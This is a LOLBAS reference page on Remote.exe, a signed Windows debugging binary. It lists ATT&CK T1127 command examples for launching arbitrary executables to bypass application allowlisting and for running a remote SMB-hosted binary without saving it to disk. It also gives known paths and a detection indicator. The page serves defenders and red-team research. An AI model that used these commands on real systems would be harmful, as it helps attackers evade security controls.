LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Remote.exe

View source

Debugging tool included with Windows Debugging Tools

AWL BypassExecute
03COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

AWL Bypass1

EXAMPLE 01T1127

Spawns specified executable as a child process of remote.exe

COMMAND
Remote.exe /s {PATH:.exe} anythinghere
USE CASE
Executes a process under a trusted Microsoft signed binary
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · EXE

Execute2

EXAMPLE 01T1127

Spawns specified executable as a child process of remote.exe

COMMAND
Remote.exe /s {PATH:.exe} anythinghere
USE CASE
Executes a process under a trusted Microsoft signed binary
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · EXE
EXAMPLE 02T1127

Run a remote file

COMMAND
Remote.exe /s {PATH_SMB:.exe} anythinghere
USE CASE
Executing a remote binary without saving file to disk
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · EXEExecute · Remote
02 / ON DISK

Known paths

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    remote.exe process spawns

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

mr.d0x@mrd0x